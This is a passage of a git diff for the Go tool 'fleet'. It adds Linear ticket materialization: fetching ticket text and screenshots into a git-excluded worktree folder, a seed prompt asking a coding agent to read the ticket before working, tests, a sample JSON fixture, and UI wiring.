ast.Node) bool { + d, ok := n.(*ast.FuncDecl) + if !ok || d.Name.Name != fn { + return true + } + found = true + ast.Inspect(d.Body, func(m ast.Node) bool { + if lit, ok := m.(*ast.BasicLit); ok && lit.Kind == token.STRING { + out.WriteString(lit.Value + " ") + } + return true + }) + return false + }) + if !found { + t.Fatalf("%s not found in %s — renamed? this guard is now vacuous", fn, file) + } + return out.String() +} + +// TestMarkdownFetchNeverUsesJSON is the guard for the bug that cost the user +// every screenshot on every ticket. The CLI returns from its --json branch +// BEFORE its image downloader runs, so a JSON fetch can never produce images — +// it is structural, survives CLI upgrades, and is invisible (exit code 0). +func TestMarkdownFetchNeverUsesJSON(t *testing.T) { + md := stringLiteralsIn(t, "cli.go", "fetchMarkdown") + if strings.Contains(md, `"--json"`) || strings.Contains(md, `"-j"`) { + t.Error("fetchMarkdown must NOT pass --json: the CLI returns from the JSON branch " + + "before downloadIssueImages runs, so the images never reach disk and the agent " + + "is handed 401 uploads.linear.app URLs instead") + } + if !strings.Contains(md, `"--no-pager"`) { + t.Error("fetchMarkdown must pass --no-pager") + } + + // Converse arm, so this can't pass by fetchMarkdown quietly losing its argv. + if meta := stringLiteralsIn(t, "cli.go", "Fetch"); !strings.Contains(meta, `"--json"`) { + t.Error("Fetch (metadata) must pass --json") + } +} + +// TestStateWriteNeverUsesIssueStart pins the other CLI trap: `linear issue +// start` moves the state AND creates its own git branch, which would collide +// with the worktree fleet just made. +func TestStateWriteNeverUsesIssueStart(t *testing.T) { + lits := stringLiteralsIn(t, "cli.go", "MoveToStarted") + if strings.Contains(lits, `"start"`) { + t.Error("MoveToStarted must use `issue update -s started`, never `issue start` — " + + "the latter also creates a branch and would collide with fleet's worktree") + } + if !strings.Contains(lits, `"update"`) || !strings.Contains(lits, `"started"`) { + t.Errorf("MoveToStarted should run `issue update -s started`, got literals: %s", lits) + } +} + +// TestSeedPromptTellsAgentNotToStart is the requirement the user stated +// directly: the agent must read and understand, not begin working. +func TestSeedPromptTellsAgentNotToStart(t *testing.T) { + p := SeedPrompt(Result{ + Ticket: Ticket{Identifier: "BRZ-3182", Title: "Filter bar renders cramped", URL: "https://linear.app/x/BRZ-3182"}, + RelDir: ".fleet/ticket/BRZ-3182", + Images: 3, + }) + + for _, want := range []string{ + "Do not start work yet", + "Do not edit files, run builds, or begin implementing", + "BRZ-3182", + ".fleet/ticket/BRZ-3182", + } { + if !strings.Contains(p, want) { + t.Errorf("seeded prompt is missing %q.\nA first message that merely describes a task "+ + "reads as an instruction to perform it, and the agent will start editing before "+ + "the human has read its understanding.\ngot:\n%s", want, p) + } + } + + if regexp.MustCompile(`(?i)\b(implement|fix|build|start working on) (it|this|the)\b`).MatchString(p) { + t.Errorf("seeded prompt reads as an instruction to begin work:\n%s", p) + } +} + +// TestSeedPromptFirstLineCarriesIdentifier pins the interaction with the two +// surfaces that only see line one: the preview pane's prompt strip and +// naming.GenerateTitle, which cuts at ~50 runes. +func TestSeedPromptFirstLineCarriesIdentifier(t *testing.T) { + p := SeedPrompt(Result{ + Ticket: Ticket{ + Identifier: "BRZ-3182", + Title: "Filter bar renders cramped on narrow viewports in the intent drawer", + }, + RelDir: ".fleet/ticket/BRZ-3182", + }) + first := strings.SplitN(p, "\n", 2)[0] + r := []rune(first) + if len(r) > 50 { + r = r[:50] + } + if !strings.Contains(string(r), "BRZ-3182") { + t.Errorf("identifier must survive a 50-rune cut of line 1, else every ticket session "+ + "gets a sidebar row that doesn't name its ticket.\nfirst 50: %q", string(r)) + } +} + +// TestSeedPromptOmitsImagesWhenNoneDownloaded is honest degradation made +// executable: never point the agent at a directory that does not exist. +func TestSeedPromptOmitsImagesWhenNoneDownloaded(t *testing.T) { + p := SeedPrompt(Result{ + Ticket: Ticket{Identifier: "BRZ-1", Title: "x"}, + RelDir: ".fleet/ticket/BRZ-1", + Images: 0, + }) + if strings.Contains(p, "images/") { + t.Errorf("prompt points at images/ when none were downloaded:\n%s", p) + } +} + +func TestIdentifierFromBranch(t *testing.T) { + cases := []struct { + branch, team, want string + }{ + {"brz-3182-magic-fix", "BRZ", "BRZ-3182"}, + {"BRZ-3182-Remove-streamer", "BRZ", "BRZ-3182"}, + {"alice/brz-1594-conversation-items", "BRZ", "BRZ-1594"}, + {"brz-3182", "BRZ", "BRZ-3182"}, + {"BRZ-3182", "brz", "BRZ-3182"}, + + // The whole point of the team gate. The CLI's own branch parser has no + // gate and reads these as identifiers for teams that don't exist. + {"fix-123-something", "BRZ", ""}, + {"release-2024-cleanup", "BRZ", ""}, + {"eng-42-other-team", "BRZ", ""}, + + // Real non-ticket branches from the user's tree. + {"kinshasa", "BRZ", ""}, + {"frosty-mahavira", "BRZ", ""}, + {"brzctl-gcp-project-default", "BRZ", ""}, + {"master", "BRZ", ""}, + + {"brz-3182-x", "", ""}, + {"", "BRZ", ""}, + } + for _, c := range cases { + if got := IdentifierFromBranch(c.branch, c.team); got != c.want { + t.Errorf("IdentifierFromBranch(%q, %q) = %q, want %q", c.branch, c.team, got, c.want) + } + } +} + +func TestLooksLikeIdentifier(t *testing.T) { + cases := []struct { + text, team, want string + ok bool + }{ + {"BRZ-3182", "BRZ", "BRZ-3182", true}, + {"brz-3182", "BRZ", "BRZ-3182", true}, + {" BRZ-3182 ", "BRZ", "BRZ-3182", true}, + + // Prose must NOT look like an identifier — this is what keeps the + // suggestion list from ever stealing Enter from someone naming a branch. + {"drawer", "BRZ", "", false}, + {"brz-3182-fix", "BRZ", "", false}, + {"fix-123", "BRZ", "", false}, + {"", "BRZ", "", false}, + } + for _, c := range cases { + got, ok := LooksLikeIdentifier(c.text, c.team) + if got != c.want || ok != c.ok { + t.Errorf("LooksLikeIdentifier(%q, %q) = (%q, %v), want (%q, %v)", + c.text, c.team, got, ok, c.want, c.ok) + } + } +} + +func TestBranchNameFor(t *testing.T) { + cases := []struct{ id, title, want string }{ + {"BRZ-3182", "Filter bar renders cramped", "brz-3182-filter-bar-renders-cramped"}, + {"BRZ-1", "", "brz-1"}, + {"BRZ-1", "!!! ???", "brz-1"}, + {"BRZ-1", "Fix the API/SDK mismatch", "brz-1-fix-the-api-sdk-mismatch"}, + {"BRZ-1", " spaced out ", "brz-1-spaced-out"}, + } + for _, c := range cases { + if got := BranchNameFor(c.id, c.title); got != c.want { + t.Errorf("BranchNameFor(%q, %q) = %q, want %q", c.id, c.title, got, c.want) + } + } + + // No derived name may ever be rejected by the dialog that shows it. + long := BranchNameFor("BRZ-3182", strings.Repeat("very long title segment ", 20)) + if len(long) > len("brz-3182-")+maxBranchSlug { + t.Errorf("derived branch not capped: %q", long) + } + for _, bad := range []string{"..", "//", "@{", " "} { + if strings.Contains(long, bad) { + t.Errorf("derived branch %q contains %q, which git rejects", long, bad) + } + } + if strings.HasSuffix(long, "-") || strings.HasPrefix(long, "-") { + t.Errorf("derived branch has a dangling dash: %q", long) + } +} + +func TestDetectExtRecoversExtension(t *testing.T) { + png := append([]byte("\x89PNG\r\n\x1a\n"), make([]byte, 512)...) + gif := append([]byte("GIF89a"), make([]byte, 512)...) + html := []byte(`401 Unauthorized`) + + // The real case: the CLI writes "Filter bar renders cramped (screenshot)" + // with no extension, and an agent's read tool dispatches on extension. + if ext, ok := detectExt("Filter bar renders cramped (screenshot)", png); !ok || ext != ".png" { + t.Errorf("extensionless PNG: got (%q, %v), want (.png, true)", ext, ok) + } + if ext, ok := detectExt("x.gif", gif); !ok || ext != ".gif" { + t.Errorf("gif: got (%q, %v)", ext, ok) + } + if _, ok := detectExt("whatever", html); ok { + t.Error("an HTML 401 body must be rejected, not saved beside real screenshots") + } + if got := http.DetectContentType(png); !strings.HasPrefix(got, "image/png") { + t.Fatalf("sniffer precondition failed: %s", got) + } +} + +func TestFindImagesClassifiesLocalAndRemote(t *testing.T) { + md := []byte("text\n" + + "![shot](/var/folders/x/linear-cli-images/abc/image)\n" + + "![other](https://uploads.linear.app/a/b/c)\n") + refs := findImages(md) + if len(refs) != 2 { + t.Fatalf("found %d images, want 2", len(refs)) + } + if refs[0].remote { + t.Error("an absolute local path must not be classified remote") + } + if !refs[1].remote { + t.Error("an uploads.linear.app URL must be classified remote — that is the " + + "signal that the CLI's downloader failed and fleet should fetch it") + } +} + +func TestTeamKeyReadsOnlyTeamID(t *testing.T) { + dir := t.TempDir() + toml := "# linear cli\nworkspace = \"brizz\"\nteam_id = \"BRZ\"\napi_key = \"lin_api_SECRET\"\n" + if err := os.WriteFile(filepath.Join(dir, configFile), []byte(toml), 0644); err != nil { + t.Fatal(err) + } + key, ok := TeamKey(dir) + if !ok || key != "BRZ" { + t.Fatalf("TeamKey = (%q, %v), want (BRZ, true)", key, ok) + } + + // fleet must never carry a credential; the key never leaves the file. + if _, ok := TeamKey(t.TempDir()); ok { + t.Error("a repo with no .linear.toml must report not-connected") + } +} + +func TestExistingPromptIsTheReuseLedger(t *testing.T) { + wt := t.TempDir() + if _, ok := ExistingPrompt(wt); ok { + t.Error("empty worktree should have no prompt") + } + dir := TicketDir(wt, "BRZ-3182") + if err := os.MkdirAll(dir, 0755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(dir, promptFile), []byte("seeded"), 0644); err != nil { + t.Fatal(err) + } + got, ok := ExistingPrompt(wt) + if !ok || got != "seeded" { + t.Errorf("ExistingPrompt = (%q, %v), want (seeded, true)", got, ok) + } +} + +func TestNegativePinStopsRefetch(t *testing.T) { + wt := t.TempDir() + if NegativelyPinned(wt, "FIX-123") { + t.Error("nothing pinned yet") + } + pinNoTicket(wt, "FIX-123") + if !NegativelyPinned(wt, "FIX-123") { + t.Error("a branch that resolved to no-such-issue must cost one subprocess ever, not one per session") + } + if NegativelyPinned(wt, "BRZ-1") { + t.Error("the pin must be identifier-specific") + } +} + +// TestDecodeTicketListAgainstV2Payload pins the JSON shape `linear issue query +// --json` actually returns on CLI v2.5.0. +// +// It is NOT a bare array: v2.0.0 changed the output to preserve GraphQL +// connection shapes, so it arrives as {"nodes": [...], "pageInfo": {...}}. A +// decoder written against the obvious guess returns nothing, silently, and the +// suggestion list simply never appears. +// +// The fixture mirrors a real response's structure — all 17 v2 keys per node, a +// nested state object — with invented content, because this repo is public and +// a captured payload would publish a workspace's roadmap. +func TestDecodeTicketListAgainstV2Payload(t *testing.T) { + data, err := os.ReadFile(filepath.Join("testdata", "query_v2.json")) + if err != nil { + t.Skipf("no captured payload: %v", err) + } + got := decodeTicketList(data) + if len(got) == 0 { + t.Fatal("decoded no tickets from a v2-shaped query payload") + } + for _, ti := range got { + if ti.Identifier == "" || ti.Title == "" { + t.Errorf("incomplete ticket decoded: %+v", ti) + } + } + if got[0].StateName == "" { + t.Error("state.name did not decode — the suggestion rows would show no state") + } + t.Logf("decoded %d tickets, first = %s %q (%s)", len(got), got[0].Identifier, got[0].Title, got[0].StateName) +} diff --git a/internal/linear/materialize.go b/internal/linear/materialize.go new file mode 100644 index 00000000..bbcb0d38 --- /dev/null +++ b/internal/linear/materialize.go @@ -0,0 +1,325 @@ +package linear + +import ( + "context" + "encoding/json" + "fmt" + "os" + "path/filepath" + "strings" + "sync" + "time" + + "github.com/brizzai/fleet/internal/analytics" + "github.com/brizzai/fleet/internal/debuglog" + "github.com/brizzai/fleet/internal/git" +) + +// Layout inside a worktree. Kept narrow (.fleet/ticket/, not .fleet/) because +// JetBrains Fleet owns .fleet/ in project roots and a repo may legitimately +// commit .fleet/settings.json. +const ( + fleetDir = ".fleet" + ticketDir = "ticket" + imagesDir = "images" + ticketFile = "ticket.md" + promptFile = "prompt.txt" + metaFile = "meta.json" + noTicketPin = ".no-ticket" +) + +// Result describes what a Materialize call put on disk. +type Result struct { + Ticket + + Dir string // absolute: /.fleet/ticket/BRZ-3182 + RelDir string // ".fleet/ticket/BRZ-3182" — what the prompt shows the agent + Prompt string // the seeded first message; "" when nothing usable was written + + Images int + ImagesDropped int + UsedFallback bool // fleet downloaded images the CLI failed to fetch + StateMoved string // resulting state name; "" if not attempted or failed +} + +// Opts configures one materialization. +type Opts struct { + // RepoDir is any directory inside the repo — the CLI locates .linear.toml + // by shelling `git rev-parse --show-toplevel` in its own cwd, so this must + // not be empty and must not point outside the checkout. + RepoDir string + WorktreePath string + Identifier string + + // Ticket, when already fetched (the worktree dialog pays that ~0.5s round + // trip while the user is still looking at the form), skips the metadata call. + Ticket Ticket + + // MoveState requests the one mutation fleet ever makes. + MoveState bool +} + +// inFlight stops two rapid session creations in the same worktree from both +// materializing — and, worse, both moving the issue's state. +var inFlight sync.Map // worktreePath -> struct{} + +// meta is the on-disk ledger. Its job is to make the state write exactly-once +// across fleet restarts: re-running it after a human moved the issue to In +// Review would silently drag it backwards, which is the single worst thing this +// feature could do. +type meta struct { + Identifier string `json:"identifier"` + FetchedAt time.Time `json:"fetched_at"` + Images int `json:"images"` + StateWrite string `json:"state_write"` // "done" | "skipped" | "failed" +} + +// TicketDir returns where a ticket materializes inside a worktree. +func TicketDir(worktreePath, id string) string { + return filepath.Join(worktreePath, fleetDir, ticketDir, strings.ToUpper(id)) +} + +// ExistingPrompt returns a previously materialized prompt for this worktree. +// +// This is the fast path and the steady state: every session after the first in +// a ticket worktree hits it, at the cost of one ReadDir and one ReadFile, with +// no subprocess and no network. The filesystem is the ledger — it survives +// restarts, survives losing state.db, and a user who deletes the directory gets +// a re-fetch, which is the natural "refresh this ticket" gesture. +func ExistingPrompt(worktreePath string) (string, bool) { + base := filepath.Join(worktreePath, fleetDir, ticketDir) + entries, err := os.ReadDir(base) + if err != nil { + return "", false + } + for _, e := range entries { + if !e.IsDir() { + continue + } + data, err := os.ReadFile(filepath.Join(base, e.Name(), promptFile)) + if err == nil && len(data) > 0 { + return string(data), true + } + } + return "", false +} + +// NegativelyPinned reports whether this worktree's branch was already resolved +// to "no such issue", so inference does not re-ask on every session start. +func NegativelyPinned(worktreePath, id string) bool { + data, err := os.ReadFile(filepath.Join(worktreePath, fleetDir, ticketDir, noTicketPin)) + return err == nil && strings.EqualFold(strings.TrimSpace(string(data)), id) +} + +func pinNoTicket(worktreePath, id string) { + dir := filepath.Join(worktreePath, fleetDir, ticketDir) + if err := os.MkdirAll(dir, 0755); err != nil { + return + } + _ = os.WriteFile(filepath.Join(dir, noTicketPin), []byte(id), 0644) +} + +// Materialize fetches a ticket and writes it, with its screenshots, into the +// worktree. +// +// Failure posture matches its neighbours in the creation path +// (copyClaudeSettingsFile, workspace.CopyConfiguredFiles): once the worktree +// exists, nothing here may fail the caller. The returned error is advisory — +// log it, surface one line, and start the session anyway. The one hard rule is +// that Result.Prompt stays empty unless ticket.md verifiably exists: a pointer +// at a file that isn't there is worse than no pointer. +func Materialize(ctx context.Context, o Opts) (Result, error) { + var res Result + + if !Available() { + return res, ErrNotInstalled + } + if o.WorktreePath == "" || o.Identifier == "" { + return res, fmt.Errorf("linear: materialize needs a worktree and an identifier") + } + id := strings.ToUpper(o.Identifier) + + if _, busy := inFlight.LoadOrStore(o.WorktreePath, struct{}{}); busy { + return res, fmt.Errorf("linear: already materializing %s", o.WorktreePath) + } + defer inFlight.Delete(o.WorktreePath) + + repoDir := o.RepoDir + if repoDir == "" { + repoDir = o.WorktreePath + } + + // Metadata first: it is the cheap call, and it is what tells us the ticket + // exists at all before we create directories for it. + t := o.Ticket + if !t.Ok() { + fetched, err := Fetch(ctx, repoDir, id) + if err != nil { + if err == ErrNotFound { + pinNoTicket(o.WorktreePath, id) + } + return res, err + } + t = fetched + } + res.Ticket = t + res.Identifier = t.Identifier + + dir := TicketDir(o.WorktreePath, res.Identifier) + res.Dir = dir + res.RelDir = filepath.Join(fleetDir, ticketDir, res.Identifier) + + // Exclude BEFORE writing a single byte. A window where the files exist and + // the exclude does not is a window where `git add -A` sweeps a customer + // screenshot into a commit. + if err := git.AddFleetExclude(o.WorktreePath); err != nil { + debuglog.Logger.Warn("linear: could not exclude .fleet from git — ticket files are stageable", + "worktree", o.WorktreePath, "error", err) + } + + imgDir := filepath.Join(dir, imagesDir) + if err := os.MkdirAll(imgDir, 0755); err != nil { + return res, fmt.Errorf("create %s: %w", imgDir, err) + } + + // The markdown pass, never --json: the JSON branch returns before the CLI's + // image downloader runs. + markdown, err := fetchMarkdown(ctx, repoDir, res.Identifier) + if err != nil { + return res, err + } + + body, images, dropped, fallback := o.collectImages(ctx, repoDir, markdown, imgDir) + res.Images, res.ImagesDropped, res.UsedFallback = images, dropped, fallback + + if images == 0 { + _ = os.Remove(imgDir) // only succeeds when empty, which is what we want + } + + if err := os.WriteFile(filepath.Join(dir, ticketFile), renderTicketFile(res, body), 0644); err != nil { + return res, fmt.Errorf("write %s: %w", ticketFile, err) + } + + res.Prompt = SeedPrompt(res) + if err := os.WriteFile(filepath.Join(dir, promptFile), []byte(res.Prompt), 0644); err != nil { + // Non-fatal: the prompt is still returned in-memory for this session, + // it just won't be reused by the next one. + debuglog.Logger.Debug("linear: could not persist prompt.txt", "error", err) + } + + m := meta{Identifier: res.Identifier, FetchedAt: time.Now(), Images: images, StateWrite: "skipped"} + if o.MoveState { + if name, err := MoveToStarted(ctx, repoDir, res.Identifier); err != nil { + m.StateWrite = "failed" + debuglog.Logger.Warn("linear: could not move issue to started", "id", res.Identifier, "error", err) + } else { + m.StateWrite = "done" + res.StateMoved = name + } + } + writeMeta(dir, m) + + analytics.Track(analytics.EventLinearTicketMaterialized, map[string]any{ + "images": images, + "dropped": dropped, + "fallback": fallback, + }) + return res, nil +} + +// collectImages copies every image the markdown references into imgDir and +// rewrites the links to the relative paths the agent will read. +// +// Both halves are required and neither is sufficient alone: an absolute +// $TMPDIR path is outside the project root (so an agent's read prompts for +// permission, or the file has been purged), and an extensionless filename +// defeats extension dispatch. Fix one and the agent still sees nothing. +func (o Opts) collectImages(ctx context.Context, repoDir string, markdown []byte, imgDir string) (body string, kept, dropped int, usedFallback bool) { + refs := findImages(markdown) + body = string(markdown) + + var token string + var tokenTried bool + var total int64 + + for i, ref := range refs { + if kept >= maxImages || total >= maxTotalBytes { + dropped++ + continue + } + + var name string + var size int64 + var err error + + if ref.remote { + // The CLI's downloader failed and swallowed the error — the + // signature of the v1.7.0 build compiled without + // --allow-net=uploads.linear.app. Fetch it ourselves. + if !tokenTried { + tokenTried = true + token, _ = authToken(ctx, repoDir) + } + if token == "" { + dropped++ + continue + } + name, size, err = fetchRemoteImage(ctx, ref.target, token, imgDir, ref.alt, i+1) + if err == nil { + usedFallback = true + } + } else { + name, size, err = copyLocalImage(ref.target, imgDir, i+1) + } + + if err != nil { + debuglog.Logger.Debug("linear: image unavailable", "target", ref.target, "error", err) + dropped++ + continue + } + + kept++ + total += size + body = strings.ReplaceAll(body, ref.target, filepath.Join(imagesDir, name)) + } + return body, kept, dropped, usedFallback +} + +// renderTicketFile writes front matter carrying the two things the markdown +// pass does not emit — the URL and the state — plus honest provenance, so a +// reader (human or agent) knows this is a snapshot rather than live state. +func renderTicketFile(r Result, body string) []byte { + var b strings.Builder + b.WriteString("---\n") + fmt.Fprintf(&b, "ticket: %s\n", r.Identifier) + if r.URL != "" { + fmt.Fprintf(&b, "url: %s\n", r.URL) + } + if r.StateName != "" { + fmt.Fprintf(&b, "state_when_fetched: %s\n", r.StateName) + } + fmt.Fprintf(&b, "fetched_at: %s\n", time.Now().UTC().Format(time.RFC3339)) + fmt.Fprintf(&b, "fetched_by: fleet, via `linear issue view %s`\n", r.Identifier) + fmt.Fprintf(&b, "images: %d\n", r.Images) + b.WriteString("---\n\n") + b.WriteString("\n\n") + b.WriteString(strings.TrimSpace(body)) + b.WriteString("\n") + if r.ImagesDropped > 0 { + fmt.Fprintf(&b, "\n> %d further image(s) were not downloaded: over fleet's per-ticket cap, "+ + "or not a readable image.\n", r.ImagesDropped) + } + if r.Images == 0 { + b.WriteString("\n> No images were downloaded. If this ticket has screenshots, your `linear` " + + "CLI may be too old to fetch them — `brew upgrade schpet/tap/linear`.\n") + } + return []byte(b.String()) +} + +func writeMeta(dir string, m meta) { + data, err := json.MarshalIndent(m, "", " ") + if err != nil { + return + } + _ = os.WriteFile(filepath.Join(dir, metaFile), data, 0644) +} diff --git a/internal/linear/materialize_e2e_test.go b/internal/linear/materialize_e2e_test.go new file mode 100644 index 00000000..5f4bfe9f --- /dev/null +++ b/internal/linear/materialize_e2e_test.go @@ -0,0 +1,92 @@ +package linear + +import ( + "context" + "net/http" + "os" + "path/filepath" + "strings" + "testing" +) + +// TestMaterializeEndToEnd exercises the real `linear` CLI against a real issue. +// +// Opt-in, because it needs an authenticated CLI and network: +// +// FLEET_LINEAR_E2E=BRZ-1515 go test ./internal/linear/ -run EndToEnd -v +// +// It never mutates Linear — MoveState stays false, so nothing is written to the +// issue. What it proves is the part that is easy to get subtly wrong and +// impossible to catch in a unit test: that the markdown pass yields links we can +// resolve, that images land on disk with a usable extension, and that the +// fallback download works on a CLI whose own downloader is broken. +func TestMaterializeEndToEnd(t *testing.T) { + id := os.Getenv("FLEET_LINEAR_E2E") + if id == "" { + t.Skip("set FLEET_LINEAR_E2E= to run") + } + if !Available() { + t.Skip("linear CLI not installed") + } + repo := os.Getenv("FLEET_LINEAR_E2E_REPO") + if repo == "" { + t.Skip("set FLEET_LINEAR_E2E_REPO=") + } + + wt := t.TempDir() + res, err := Materialize(context.Background(), Opts{ + RepoDir: repo, + WorktreePath: wt, + Identifier: id, + MoveState: false, // never mutate a real issue from a test + }) + if err != nil { + t.Fatalf("Materialize: %v", err) + } + + t.Logf("identifier=%s images=%d dropped=%d fallback=%v", res.Identifier, res.Images, res.ImagesDropped, res.UsedFallback) + + body, err := os.ReadFile(filepath.Join(res.Dir, ticketFile)) + if err != nil { + t.Fatalf("ticket.md not written: %v", err) + } + if !strings.Contains(string(body), "ticket: "+res.Identifier) { + t.Error("ticket.md is missing its front matter") + } + + // Every surviving link must be a relative images/ path — an absolute + // $TMPDIR path is outside the project root (the agent's read tool prompts + // or the file is purged) and a remote URL is 401. + for _, ref := range findImages(body) { + if ref.remote || filepath.IsAbs(ref.target) { + t.Errorf("ticket.md still links %q; it must point inside images/", ref.target) + } + } + + if res.Images == 0 { + t.Log("no images on this ticket (or none could be fetched) — pick a ticket with screenshots to exercise that path") + return + } + + entries, err := os.ReadDir(filepath.Join(res.Dir, imagesDir)) + if err != nil { + t.Fatalf("images dir missing despite Images=%d: %v", res.Images, err) + } + if len(entries) != res.Images { + t.Errorf("Images=%d but %d files on disk", res.Images, len(entries)) + } + for _, e := range entries { + p := filepath.Join(res.Dir, imagesDir, e.Name()) + data, err := os.ReadFile(p) + if err != nil || len(data) == 0 { + t.Errorf("%s is unreadable or empty", e.Name()) + continue + } + if ext := filepath.Ext(e.Name()); ext == "" { + t.Errorf("%s has no extension — an agent's read tool dispatches on it", e.Name()) + } + if ct := http.DetectContentType(data); !strings.HasPrefix(ct, "image/") { + t.Errorf("%s is %s, not an image", e.Name(), ct) + } + } +} diff --git a/internal/linear/prompt.go b/internal/linear/prompt.go new file mode 100644 index 00000000..818ed369 --- /dev/null +++ b/internal/linear/prompt.go @@ -0,0 +1,86 @@ +package linear + +import ( + "fmt" + "strings" +) + +// maxPromptTitle caps the title in the first line so it can't crowd out the +// identifier when the preview pane and the auto-titler truncate. +const maxPromptTitle = 60 + +// seedPromptTemplate is the agent's first message for a materialized ticket. +// +// Line 1 does three jobs at once, which is why the identifier comes before the +// title: it is the agent's opening instruction, it is what the preview pane +// renders as the session's prompt strip (first line only), and it is the input +// to naming.GenerateTitle, which takes the first line and cuts it at ~50 runes. +// Put the title first and every ticket session gets a sidebar row that has been +// truncated before it names its ticket. +// +// The "don't start" instruction is stated twice, top and bottom, and this is +// deliberate rather than redundant: a first message that describes a task is +// overwhelmingly read as an instruction to perform it, and the whole point of +// this flow is that the human reads the agent's understanding before any code +// moves. TestSeedPromptTellsAgentNotToStart pins both. +const seedPromptTemplate = `Read Linear ticket %s — %s. Do not start work yet. + +The ticket is materialized in this worktree at %s (git-excluded): + ticket.md the description, and any comments +%s +Read ticket.md%s. Then tell me in a few lines what is being asked, and anything +ambiguous, missing, or contradictory. + +Do not edit files, run builds, or begin implementing until I tell you to.%s +` + +// SeedPrompt renders the first message for a materialized ticket. +// +// The images clauses collapse to nothing when no image made it to disk. That is +// the honest-degradation rule in concrete form: a broken CLI plus a failed +// fallback must not produce a prompt that points at an images/ directory which +// does not exist. +func SeedPrompt(r Result) string { + imagesBlock := "" + imagesClause := "" + if r.Images > 0 { + noun := "screenshots" + if r.Images == 1 { + noun = "screenshot" + } + imagesBlock = fmt.Sprintf(" images/ the %d %s it references\n", r.Images, noun) + imagesClause = " and open every file in images/" + } + + urlBlock := "" + if r.URL != "" { + urlBlock = "\n" + r.URL + } + + return fmt.Sprintf(seedPromptTemplate, + r.Identifier, + truncateWords(r.Title, maxPromptTitle), + r.RelDir, + imagesBlock, + imagesClause, + urlBlock, + ) +} + +// truncateWords cuts on a word boundary so a truncated title never ends +// mid-word, matching how fleet's own naming heuristic truncates. +func truncateWords(s string, limit int) string { + s = strings.TrimSpace(s) + if s == "" { + return "(untitled)" + } + if len([]rune(s)) <= limit { + return s + } + r := []rune(s)[:limit] + out := string(r) + if i := strings.LastIndexByte(out, ' '); i > limit/2 { + out = out[:i] + } + return strings.TrimRight(out, " ,.;:-") + "…" +} diff --git a/internal/linear/testdata/query_v2.json b/internal/linear/testdata/query_v2.json new file mode 100644 index 00000000..57ce8b62 --- /dev/null +++ b/internal/linear/testdata/query_v2.json @@ -0,0 +1,92 @@ +{ + "nodes": [ + { + "id": "00000000-0000-4000-8000-000000000001", + "identifier": "ENG-101", + "title": "Filter bar renders cramped on narrow viewports", + "url": "https://linear.app/example/issue/ENG-101/filter-bar-renders-cramped-on-narrow-viewports", + "state": { + "id": "11111111-0000-4000-8000-000000000001", + "name": "In Progress", + "color": "#f2c94c", + "type": "started" + }, + "assignee": { + "id": "22222222-0000-4000-8000-000000000001", + "name": "Example User", + "displayName": "example" + }, + "priority": 2, + "priorityLabel": "High", + "createdAt": "2026-01-01T00:00:00.000Z", + "updatedAt": "2026-01-02T00:00:00.000Z", + "cycle": null, + "estimate": null, + "inverseRelations": null, + "labels": null, + "project": null, + "projectMilestone": null, + "team": null + }, + { + "id": "00000000-0000-4000-8000-000000000002", + "identifier": "ENG-102", + "title": "Collapse state resets when navigating back", + "url": "https://linear.app/example/issue/ENG-102/collapse-state-resets-when-navigating-back", + "state": { + "id": "11111111-0000-4000-8000-000000000002", + "name": "Todo", + "color": "#f2c94c", + "type": "unstarted" + }, + "assignee": { + "id": "22222222-0000-4000-8000-000000000001", + "name": "Example User", + "displayName": "example" + }, + "priority": 2, + "priorityLabel": "High", + "createdAt": "2026-01-01T00:00:00.000Z", + "updatedAt": "2026-01-02T00:00:00.000Z", + "cycle": null, + "estimate": null, + "inverseRelations": null, + "labels": null, + "project": null, + "projectMilestone": null, + "team": null + }, + { + "id": "00000000-0000-4000-8000-000000000003", + "identifier": "ENG-103", + "title": "Scroll jank when the drawer opens", + "url": "https://linear.app/example/issue/ENG-103/scroll-jank-when-the-drawer-opens", + "state": { + "id": "11111111-0000-4000-8000-000000000003", + "name": "Backlog", + "color": "#f2c94c", + "type": "backlog" + }, + "assignee": { + "id": "22222222-0000-4000-8000-000000000001", + "name": "Example User", + "displayName": "example" + }, + "priority": 2, + "priorityLabel": "High", + "createdAt": "2026-01-01T00:00:00.000Z", + "updatedAt": "2026-01-02T00:00:00.000Z", + "cycle": null, + "estimate": null, + "inverseRelations": null, + "labels": null, + "project": null, + "projectMilestone": null, + "team": null + } + ], + "pageInfo": { + "hasNextPage": false, + "endCursor": null + } +} diff --git a/internal/ui/app.go b/internal/ui/app.go index a8407cb5..25482f74 100644 --- a/internal/ui/app.go +++ b/internal/ui/app.go @@ -32,6 +32,7 @@ import ( "github.com/brizzai/fleet/internal/git" "github.com/brizzai/fleet/internal/github" "github.com/brizzai/fleet/internal/hooks" + "github.com/brizzai/fleet/internal/linear" "github.com/brizzai/fleet/internal/naming" "github.com/brizzai/fleet/internal/perfwatch" "github.com/brizzai/fleet/internal/proc" @@ -1474,7 +1475,7 @@ func (h *Home) Update(msg tea.Msg) (tea.Model, tea.Cmd) { return true }) } - h.worktreeDialog.Show(msg.workspaces, h.sessions, msg.provider, msg.repoPath, msg.defaultBranch) + h.worktreeDialog.Show(msg.workspaces, h.sessions, msg.provider, msg.repoPath, msg.defaultBranch, msg.linearTeam) return h, nil case workspaceSelectedMsg: @@ -1544,18 +1545,29 @@ func (h *Home) Update(msg tea.Msg) (tea.Model, tea.Cmd) { branch := msg.branch baseBranch := msg.baseBranch copyClaudeSettings := h.cfg.IsCopyClaudeSettingsEnabled() && !provider.IsCustom() + ticket := msg.ticket + moveState := h.cfg.IsLinearTicketStartEnabled() return h, tea.Batch(func() tea.Msg { info, err := provider.Create(repoPath, name, branch, baseBranch) + var tres *linear.Result + var terr error if err == nil && info != nil && info.Path != "" { if copyClaudeSettings { copyClaudeSettingsFile(repoPath, info.Path) } workspace.CopyConfiguredFiles(repoPath, info.Path) + // Third file step, same posture as the two above: advisory + // only. Once the worktree exists the session always starts, so + // a Linear outage costs the prompt, never the worktree. + tres, terr = materializeTicket(repoPath, info.Path, ticket, moveState) } else if err == nil && info != nil && info.Path == "" { debuglog.Logger.Debug("workspace create returned empty path — skipping file copies", "repo", repoPath, "name", name) } - return workspaceCreateResultMsg{info: info, err: err, pendingID: pendingID, repoPath: repoPath} + return workspaceCreateResultMsg{ + info: info, err: err, pendingID: pendingID, repoPath: repoPath, + ticket: tres, ticketErr: terr, + } }, spinnerTickCmd) case workspaceCreateResultMsg: @@ -1596,12 +1608,32 @@ func (h *Home) Update(msg tea.Msg) (tea.Model, tea.Cmd) { h.clearPendingFork() return h, 